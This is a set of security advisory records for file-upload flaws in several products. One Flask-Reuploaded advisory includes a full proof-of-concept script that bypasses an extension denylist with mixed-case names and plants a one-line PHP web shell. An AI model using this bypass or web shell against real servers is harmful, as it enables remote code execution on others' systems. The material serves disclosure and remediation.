CWE-434

{
  "affected": [],
  "aliases": [
    "CVE-2023-29657"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-12T11:15:12Z",
    "severity": "HIGH"
  },
  "details": "eXtplorer 2.1.15 is vulnerable to Insecure Permissions. File upload in file manager allows uploading zip file containing php pages with arbitrary code executions.",
  "id": "GHSA-9337-wvr6-wx8x",
  "modified": "2024-04-04T04:03:38Z",
  "published": "2023-05-12T12:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29657"
    },
    {
      "type": "WEB",
      "url": "http://blog.tristaomarinho.com/extplorer-2-1-15-arbitrary-file-upload"
    },
    {
      "type": "WEB",
      "url": "http://extplorer.net"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-1752"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-21T03:15:00Z",
    "severity": "HIGH"
  },
  "details": "Unrestricted Upload of File with Dangerous Type in GitHub repository polonel/trudesk prior to 1.2.2.",
  "id": "GHSA-936g-2f5c-q2w8",
  "modified": "2022-05-27T00:00:54Z",
  "published": "2022-05-22T00:00:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1752"
    },
    {
      "type": "WEB",
      "url": "https://github.com/polonel/trudesk/commit/d107f12e71c0fe1e7ac0fdc7463f59c4965a42cd"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/66e9bfa9-598f-49ab-a472-752911df3f2d"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-13708"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-04T06:15:39Z",
    "severity": "HIGH"
  },
  "details": "The Booster for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in versions 4.0.1 to 7.2.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses the SVG file.",
  "id": "GHSA-9376-rv54-429x",
  "modified": "2025-04-04T06:34:24Z",
  "published": "2025-04-04T06:34:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13708"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/woocommerce-jetpack/trunk/includes/class-wcj-checkout-files-upload.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f58b3971-e1e4-4337-82a3-99c9079c6696?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-6090"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-10-03T01:29:00Z",
    "severity": "HIGH"
  },
  "details": "Unrestricted file upload vulnerability in clients/editclient.php in PhpCollab 2.5.1 and earlier allows remote authenticated users to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in logos_clients/.",
  "id": "GHSA-937h-6g5c-rjx5",
  "modified": "2025-04-20T03:46:12Z",
  "published": "2022-05-14T01:21:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6090"
    },
    {
      "type": "WEB",
      "url": "https://sysdream.com/news/lab/2017-09-29-cve-2017-6090-phpcollab-2-5-1-arbitrary-file-upload-unauthenticated"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/42934"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/43519"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "Flask-Reuploaded"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54567"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178",
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-17T20:11:35Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## 1. Header\n\n| Field | Value |\n|---|---|\n| **Title** | Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641) |\n| **Project** | Flask-Reuploaded (`flask_uploads`) |\n| **Affected** | `\u003c= 1.5.0` (latest release; commit `ae31c3f91da40b465ca5e8f57d93f063b4553e23`) |\n| **Relationship** | Incomplete-fix variant of **CVE-2026-27641** (fixed in v1.5.0; this variant survives that fix) |\n| **CWE** | CWE-434 (Unrestricted Upload of File with Dangerous Type) + CWE-178 (Improper Handling of Case Sensitivity) |\n| **CVSS v3.1 (proposed)** | **~7.0\u20137.3 (High, conditional)** \u2014 `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`. Final score deferred to maintainer. |\n| **Verified against** | `pip install Flask-Reuploaded==1.5.0`, Python 3.11 |\n\n---\n\n## 2. Decisive evidence \u2014 the asymmetry\n\nThe v1.5.0 fix for CVE-2026-27641 added an extension **re-validation** that runs when a caller supplies a `name` override to `UploadSet.save()`. It is routed through the **case-preserving** `extension()` helper, whereas the default upload path normalizes to lowercase via `lowercase_ext()` (inside `get_basename()`). The two paths disagree on case:\n\n```\ndefault path     : get_basename(\"shell.PHP\")\n                   = lowercase_ext(secure_filename(\"shell.PHP\")) = \"shell.php\"\n                   -\u003e extension(\"shell.php\") = \"php\"\n                   -\u003e extension_allowed(\"php\")  -\u003e DENY      (correct)\n\nname-override    : secure_filename(\"shell.PHP\") = \"shell.PHP\"   (case preserved)\n                   -\u003e basename = \"shell.PHP\"\n                   -\u003e ext = extension(\"shell.PHP\") = \"PHP\"        (NOT lowercased)\n                   -\u003e extension_allowed(\"PHP\")  -\u003e ALLOW         (bypass)\n```\n\nOn a denylist `UploadSet` the allow-check returns `True` for the mixed-case form:\n\n```python\n# extensions.py:97\ndef __contains__(self, item): return item not in self.items\n# \"PHP\" not in (\u0027js\u0027,\u0027php\u0027,\u0027pl\u0027,\u0027py\u0027,\u0027rb\u0027,\u0027sh\u0027)  -\u003e  True   -\u003e  allowed\n```\n\n`extension_allowed(\"PHP\")` passes the denylist that `extension_allowed(\"php\")` is blocked by.\n\n---\n\n## 3. Vulnerability summary\n\n`UploadSet.save(storage, name=...)` lets the caller override the stored filename. After the CVE-2026-27641 fix, `name` is sanitized with `secure_filename()` and its extension re-validated. Because the re-validation compares a **case-preserving** extension against a policy whose denied tokens are lowercase, an attacker controlling `name` stores a file with a denied extension by varying case (`shell.PHP`, `evil.pHp`). On servers that resolve/execute extensions case-insensitively (Windows/macOS filesystems; Apache `AddHandler`/`AddType`), this re-enables the dangerous-upload \u2192 code-execution outcome the parent CVE addressed. The bypassed config is the one the library\u0027s own docs recommend for blocking scripts (see \u00a76).\n\n---\n\n## 4. Affected components\n\nPermalinks pinned to commit `ae31c3f91da40b465ca5e8f57d93f063b4553e23` (v1.5.0).\n\n| Role | Location |\n|---|---|\n| Normalizing helper (default path) | `src/flask_uploads/flask_uploads.py:283` \u2014 `return lowercase_ext(secure_filename(filename))` |\n| `save()` entry | `src/flask_uploads/flask_uploads.py:285` |\n| name-override sanitize | `src/flask_uploads/flask_uploads.py:333` \u2014 `name = secure_filename(name)` |\n| name-override assign (case kept) | `src/flask_uploads/flask_uploads.py:341` \u2014 `basename = name` |\n| **Re-validation (non-normalizing)** | `src/flask_uploads/flask_uploads.py:344` \u2014 `ext = extension(basename)` |\n| Allow-check | `src/flask_uploads/flask_uploads.py:345` |\n| Policy check | `src/flask_uploads/flask_uploads.py:268` \u2014 `extension_allowed` |\n| Containment backstop (path only) | `src/flask_uploads/flask_uploads.py:364` |\n| Sink | `src/flask_uploads/flask_uploads.py:374` \u2014 `storage.save(target)` |\n| Case-preserving extractor | `src/flask_uploads/extensions.py:101` \u2014 `def extension` |\n| Case-normalizing extractor | `src/flask_uploads/extensions.py:109` \u2014 `def lowercase_ext` |\n| Denylist membership | `src/flask_uploads/extensions.py:97` \u2014 `AllExcept.__contains__` |\n| Documented script denylist | `src/flask_uploads/extensions.py:34-35` |\n\n---\n\n## 5. Taint analysis\n\n- **Source:** the `name` argument of `UploadSet.save(storage, name=...)` \u2014 commonly user-derived; the parent CVE-2026-27641 already treats `name` as attacker-controllable.\n- **Guard (asymmetric):** `secure_filename(name)` stops traversal, but the extension policy check at `:344-345` uses non-normalizing `extension()` against a lowercase-tokened policy. The realpath containment at `:364` constrains the *path*, not the *extension* \u2014 orthogonal to this bypass.\n- **Sink:** `storage.save(target)` at `:374` writes the attacker-extensioned file into the served upload directory.\n\n---\n\n## 6. CVSS justification (preconditions stated honestly)\n\n`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H` \u2248 **7.0\u20137.3 (High)**.\n\n- **AV:N** \u2014 web upload endpoint.\n- **AC:H** \u2014 three preconditions (stated plainly):\n  1. `UploadSet` uses a **denylist** \u2014 `AllExcept(...)` or populated `config.deny`. (Allowlists fail closed \u2014 \u00a77c.)\n  2. Application passes a **user-influenced `name`** to `save()`.\n  3. Deployment resolves/executes extensions **case-insensitively** (Windows/macOS FS; Apache `AddHandler`/`AddType`).\n- **PR:L** \u2014 uploads typically authenticated. **UI:N**. **S:U**. **C:H/I:H/A:H** \u2014 RCE under the web server\u0027s privileges on execution-capable upload dirs.\n\n**Why High, not a contrived misconfiguration** \u2014 the bypassed control is the library\u0027s documented script-blocking mechanism:\n\n- `extensions.py:34-35` \u2014 `SCRIPTS`: *\"\u2026you might want to add ``php`` to the DENY setting.\"*\n- `extensions.py:24-26` \u2014 `EXECUTABLES`: *\"\u2026it\u0027s better suited for use with `AllExcept`.\"*\n\nAn app that followed this guidance to block scripts is exactly what this variant defeats.\n\n**Not claimed:** not Critical. Pure allowlists are unaffected; execution requires a case-insensitive surface. Final score deferred to the maintainer.\n\n---\n\n## 7. Proof of Concept (results)\n\nAgainst shipped `Flask-Reuploaded==1.5.0`:\n\n### 7a. Asymmetry\n```\ndefault path  : lowercase_ext(\"shell.PHP\") -\u003e \"php\" -\u003e extension_allowed(\"php\") -\u003e DENY\nname-override : secure_filename(\"shell.PHP\") -\u003e \"shell.PHP\" -\u003e extension(...) -\u003e \"PHP\" -\u003e extension_allowed(\"PHP\") -\u003e ALLOW\n```\n\n### 7b. End-to-end (denylist `AllExcept(SCRIPTS)`)\n```\n[1] save(storage(\"shell.PHP\"))                              -\u003e UploadNotAllowed   (default path blocked)\n[2] save(storage(\"upload.bin\"), name=\"shell.PHP\")           -\u003e saved \"shell.PHP\", on_disk=True   (BYPASS)\n[2b] save(storage(\"upload.bin\"), name=\"evil.pHp\")           -\u003e saved \"evil.pHp\",  on_disk=True; containment intact\n```\n\n### 7c. Negative controls\n```\n[3] allowlist IMAGES, name=\"shell.PHP\"  -\u003e UploadNotAllowed: File extension \u0027PHP\u0027 is not allowed  (fail-closed)\n[4] allowlist IMAGES, name=\"photo.jpg\"  -\u003e saved \"photo.jpg\"                                       (legit unaffected)\n```\n\n---\n\n## 8. Patch pattern (internal precedent)\n\nThe project ships a **case-normalizing** extractor (`lowercase_ext`, used by `get_basename`) specifically so configured extensions are *\"compare[d] \u2026 in the same case\"* (its docstring). The v1.5.0 re-validation instead calls the **case-preserving** `extension()`, so the new guard does not match the normalization the rest of the system relies on \u2014 the classic incomplete-fix shape where a hand-rolled check diverges from the canonical normalizer.\n\n---\n\n## 9. Impact\n\n- Bypass of the documented extension denylist for scripts/executables.\n- Storage of `.PHP` / `.pHp` / mixed-case dangerous files inside the served upload directory (path containment holds; extension policy defeated).\n- On case-insensitive execution surfaces \u2192 **remote code execution** under the web server\u0027s privileges \u2014 the parent CVE\u0027s end impact, re-enabled on denylist deployments.\n\n---\n\n## 10. Suggested remediation\n\nNormalize before the policy check so the name-override path matches the default path:\n\n1. `ext = extension(basename).lower()` (or `extension(lowercase_ext(basename))`) before `extension_allowed`.\n2. Or run the overridden `basename` through `lowercase_ext()` (as `get_basename` does) before both validation and save.\n3. Or make `extension_allowed` / the policy containers case-insensitive.\n\nOption (1) or (2) is the minimal, behavior-preserving fix.\n\n---\n\n## 11. Evidence files\n\n- `poc_case_fold.py` (\u00a712) \u2014 self-contained PoC; runs against `pip install Flask-Reuploaded==1.5.0`.\n- `/tmp/flask_reuploaded_case_fold_proof.txt` \u2014 captured verdict.\n- Source permalinks pinned to commit `ae31c3f91da40b465ca5e8f57d93f063b4553e23`.\n\n---\n\n## 12. Full PoC script (`poc_case_fold.py`)\n\n```python\n\"\"\"\nPoC \u2014 Flask-Reuploaded CVE-2026-27641 incomplete-fix variant\nCase-folding asymmetry in the name-override extension re-validation.\n\nParent fix (v1.5.0) added an extension re-validation in UploadSet.save() when a\n`name` override is supplied, but routed it through the CASE-PRESERVING\n`extension()` helper instead of the CASE-NORMALIZING `lowercase_ext()` used by the\ndefault upload path (get_basename -\u003e lowercase_ext). On a denylist-style UploadSet\n(AllExcept / config.deny), an uppercase/mixed-case extension therefore bypasses the\ndenylist that the default path correctly blocks.\n\n  default path     : lowercase_ext(\"shell.PHP\") -\u003e \"php\" -\u003e extension_allowed(\"php\") -\u003e DENY\n  name-override    : secure_filename(\"shell.PHP\") -\u003e \"shell.PHP\" (case kept)\n                     -\u003e extension(\"shell.PHP\")  -\u003e \"PHP\" -\u003e extension_allowed(\"PHP\") -\u003e ALLOW\n\nTested against the SHIPPED, patched Flask-Reuploaded==1.5.0.\n\"\"\"\nimport io\nimport os\nimport shutil\nimport tempfile\n\nfrom flask import Flask\nfrom flask_uploads import (\n    UploadSet, AllExcept, SCRIPTS, IMAGES, configure_uploads, UploadNotAllowed,\n)\nfrom werkzeug.datastructures import FileStorage\nimport flask_uploads\n\n\ndef make_storage(filename: str) -\u003e FileStorage:\n    return FileStorage(\n        stream=io.BytesIO(b\"\u003c?php system($_GET[\u0027c\u0027]); ?\u003e\"),\n        filename=filename,\n        content_type=\"application/octet-stream\",\n    )\n\n\ndef run():\n    import importlib.metadata as md\n    print(f\"[*] pip reports: Flask-Reuploaded=={md.version(\u0027Flask-Reuploaded\u0027)}\")\n\n    dest_denylist = tempfile.mkdtemp(prefix=\"fr_deny_\")\n    dest_allowlist = tempfile.mkdtemp(prefix=\"fr_allow_\")\n\n    app = Flask(__name__)\n    files_deny = UploadSet(\"filesdeny\", AllExcept(SCRIPTS))   # documented \"allow all except scripts\"\n    files_allow = UploadSet(\"filesallow\", IMAGES)             # allowlist (fail-closed)\n    app.config[\"UPLOADED_FILESDENY_DEST\"] = dest_denylist\n    app.config[\"UPLOADED_FILESALLOW_DEST\"] = dest_allowlist\n    configure_uploads(app, (files_deny, files_allow))\n\n    results = {}\n    with app.app_context():\n        # [1] default path, denylist -\u003e must DENY\n        try:\n            saved = files_deny.save(make_storage(\"shell.PHP\"))\n            results[\"default_path\"] = f\"SAVED as {saved}  \u003c-- UNEXPECTED\"\n        except UploadNotAllowed:\n            results[\"default_path\"] = \"DENIED (expected)\"\n\n        # [2] name-override, denylist -\u003e BYPASS\n        try:\n            saved = files_deny.save(make_storage(\"upload.bin\"), name=\"shell.PHP\")\n            on_disk = os.path.join(dest_denylist, saved)\n            results[\"variant\"] = f\"BYPASS \u2014 saved as {saved}, on_disk={os.path.exists(on_disk)}\"\n        except UploadNotAllowed:\n            results[\"variant\"] = \"DENIED (variant did NOT reproduce)\"\n\n        # [2b] mixed-case generality + containment intact\n        try:\n            saved = files_deny.save(make_storage(\"upload.bin\"), name=\"evil.pHp\")\n            on_disk = os.path.join(dest_denylist, saved)\n            inside = os.path.realpath(on_disk).startswith(os.path.realpath(dest_denylist))\n            results[\"variant_mixed\"] = f\"BYPASS \u2014 saved as {saved}, inside_dest={inside}\"\n        except UploadNotAllowed:\n            results[\"variant_mixed\"] = \"DENIED\"\n\n        # [3] allowlist -\u003e fail closed\n        try:\n            saved = files_allow.save(make_storage(\"real.jpg\"), name=\"shell.PHP\")\n            results[\"allowlist\"] = f\"SAVED as {saved}  \u003c-- allowlist leaked\"\n        except UploadNotAllowed:\n            results[\"allowlist\"] = \"DENIED (expected \u2014 allowlist fails closed)\"\n\n        # [4] legit upload -\u003e allowed\n        try:\n            saved = files_allow.save(make_storage(\"real.jpg\"), name=\"photo.jpg\")\n            results[\"legit\"] = f\"SAVED as {saved} (expected)\"\n        except UploadNotAllowed:\n            results[\"legit\"] = \"DENIED (UNEXPECTED \u2014 legit upload broke)\"\n\n    print(\"VERDICT:\")\n    for k, v in results.items():\n        print(f\"   {k:14s}: {v}\")\n\n    confirmed = (\n        \"BYPASS\" in results.get(\"variant\", \"\")\n        and results.get(\"default_path\") == \"DENIED (expected)\"\n        and \"DENIED\" in results.get(\"allowlist\", \"\")\n    )\n    print(\"FLASK_REUPLOADED_CASE_FOLD_CONFIRMED\" if confirmed else \"VARIANT NOT CONFIRMED \u2014 honest cut\")\n\n    shutil.rmtree(dest_denylist, ignore_errors=True)\n    shutil.rmtree(dest_allowlist, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n    run()\n```",
  "id": "GHSA-937x-gpqr-72gg",
  "modified": "2026-07-17T20:11:35Z",
  "published": "2026-07-17T20:11:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jugmac00/flask-reuploaded/security/advisories/GHSA-937x-gpqr-72gg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jugmac00/flask-reuploaded/commit/5ded76092429c6eb8a4af941b14fbde40a38fff4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jugmac00/flask-reuploaded"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flask-Reuploaded: Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641)"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-32525"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-26T22:15:10Z",
    "severity": "MODERATE"
  },
  "details": "Trend Micro Mobile Security (Enterprise) 9.8 SP5 contains widget vulnerabilities that could allow a remote attacker to create arbitrary files on affected installations.  \n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThis is similar to, but not identical to CVE-2023-32526.",
  "id": "GHSA-93cr-637p-8r5m",
  "modified": "2024-04-04T05:11:06Z",
  "published": "2023-06-27T00:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32525"
    },
    {
      "type": "WEB",
      "url": "https://success.trendmicro.com/dcx/s/solution/000293106?language=en_US"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-589"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-4954"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-10T06:15:22Z",
    "severity": "HIGH"
  },
  "details": "The Axle Demo Importer WordPress plugin through 1.0.3 does not validate files to be uploaded, which could allow authenticated users (author and above) to upload arbitrary files such as PHP on the server",
  "id": "GHSA-93gr-9vgp-hf59",
  "modified": "2025-06-11T15:30:26Z",
  "published": "2025-06-10T06:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4954"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/673f35ff-e1d5-4099-86e7-8b6e3e410ef8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-15667"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-01T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "When processing a MAR update file, after the signature has been validated, an invalid name length could result in a heap overflow, leading to memory corruption and potentially arbitrary code execution. Within Firefox as released by Mozilla, this issue is only exploitable with the Mozilla-controlled signing key. This vulnerability affects Firefox \u003c 80.",
  "id": "GHSA-93j6-6353-95h4",
  "modified": "2022-05-24T17:29:54Z",
  "published": "2022-05-24T17:29:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15667"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1653371"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2020-36"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-2494"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-18T12:15:16Z",
    "severity": "HIGH"
  },
  "details": "Unrestricted file upload to Softdial Contact Center of Sytel Ltd. This vulnerability could allow an attacker to upload files to the server via the \u2018/softdial/phpconsole/upload.php\u2019 endpoint, which is protected by basic HTTP authentication. The files are uploaded to a directory exposed by the web application, which could result in code execution, giving the attacker full control over the server.",
  "id": "GHSA-93mj-wrmx-26c6",
  "modified": "2025-10-21T15:30:54Z",
  "published": "2025-03-18T12:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2494"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-softdial-contact-center"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-6667"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-25T22:15:24Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in code-projects Car Rental System 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file /admin/add_cars.php. The manipulation of the argument image leads to unrestricted upload. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-93rp-g55c-ppvc",
  "modified": "2025-06-26T21:31:15Z",
  "published": "2025-06-26T21:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6667"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zzb1388/cve/issues/12"
    },
    {
      "type": "WEB",
      "url": "https://code-projects.org"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.313880"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.313880"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.602325"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}